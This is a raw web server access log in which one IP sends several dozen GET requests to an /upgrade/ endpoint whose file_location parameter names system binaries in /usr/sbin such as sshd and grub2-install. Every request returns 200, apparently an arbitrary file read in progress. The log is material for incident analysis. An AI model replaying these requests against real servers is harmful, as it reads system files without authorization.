45.135.193.11 - - [11/Sep/2026:23:06:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnamed-journalprint&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41707 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnamed-journalprint&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fshutdown&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 163485 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fshutdown&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgetcap&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41554 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgetcap&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fip6tables-translate&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138246 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fip6tables-translate&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frestorecon&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 44868 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frestorecon&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsshd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 202762 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsshd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fvdpa&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 52933 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fvdpa&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Farptables-save&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138212 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Farptables-save&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexim_checkaccess&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 40048 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexim_checkaccess&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Faddgnupghome&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 38747 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Faddgnupghome&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-importkey&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 50526 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-importkey&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsck.minix&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 60012 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsck.minix&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpidof&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 44434 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpidof&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frpc.mountd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 96683 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frpc.mountd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fshowmount&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42781 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fshowmount&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgetsebool&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41768 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgetsebool&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsetsebool&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 43234 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsetsebool&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fvmcore-dmesg&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 48497 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fvmcore-dmesg&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_db&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 368344 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_db&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fapplygnupgdefaults&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 38607 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fapplygnupgdefaults&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Farp&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 62839 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Farp&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffancontrol&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 43421 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffancontrol&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpwunconv&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 53942 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpwunconv&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkdict&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37569 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkdict&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fquotaoff&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 62612 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fquotaoff&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsmartd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 265000 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsmartd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgenl&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 91408 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgenl&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Farptables-nft&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138150 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Farptables-nft&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffuser&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 53809 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffuser&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpwck&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 58337 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpwck&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fcracklib-format&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37614 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fcracklib-format&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexim_lock&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 45246 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexim_lock&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fluserdel&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42361 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fluserdel&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkfs.vfat&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 60238 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkfs.vfat&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnfsdcld&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 59284 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnfsdcld&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Froute&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 64297 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Froute&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-install&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 785184 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-install&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fip6tables&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138238 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fip6tables&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fiptables-restore&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138221 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fiptables-restore&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkfs.cramfs&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 50286 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkfs.cramfs&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnstat&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 48350 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnstat&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsemanage&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 47633 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsemanage&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_mkfile&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37458 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_mkfile&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffatlabel&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 53093 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffatlabel&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnologin&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41820 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnologin&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsaslpasswd2&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 43226 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsaslpasswd2&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsss_cache&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 50854 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsss_cache&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ftsig-keygen&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 45427 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ftsig-keygen&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdpll&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 57917 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdpll&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmount.nfs&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 81905 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmount.nfs&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-keygen&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 56010 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-keygen&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fe2freefrag&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 43373 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fe2freefrag&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fiptables-nft-save&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138248 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fiptables-nft-save&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fownership&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42200 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fownership&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frdisc&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 49411 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frdisc&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fss&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 97775 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fss&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ftracepath6&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 45606 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ftracepath6&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Falternatives&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 53321 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Falternatives&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Faureport&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 88052 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Faureport&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fctstat&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 46023 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fctstat&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
